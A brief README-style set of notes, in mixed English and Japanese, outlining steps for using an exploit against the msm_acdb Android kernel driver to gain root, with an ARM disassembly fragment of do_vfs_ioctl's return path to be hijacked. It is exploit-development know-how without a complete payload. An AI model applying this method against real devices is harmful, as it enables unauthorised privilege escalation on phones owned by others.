To use msm_acdb explot we need to work 4 steps.
  1. Find how to run command with root or system previlege
  2. Get offset for registers to setup
  3. Choose proper code in kernel image
  4. Setup parameters in acdb.c


1. Find how to run command with root or system previlege
  Do it your self.   :-P

* 本来の流れ
  do_vfs_ioctlはacdb_ioctlをコールし、(1)のコードでリターンする。

	do_vfs_ioctl:
		STMPW   [SP], { R4-R9, LR }
		...
		BL      acdb_ioctl
		...
		ADD     SP, SP, #$44		// (2)
		LDMUW   [SP], { R4-R9, PC }	// (1)
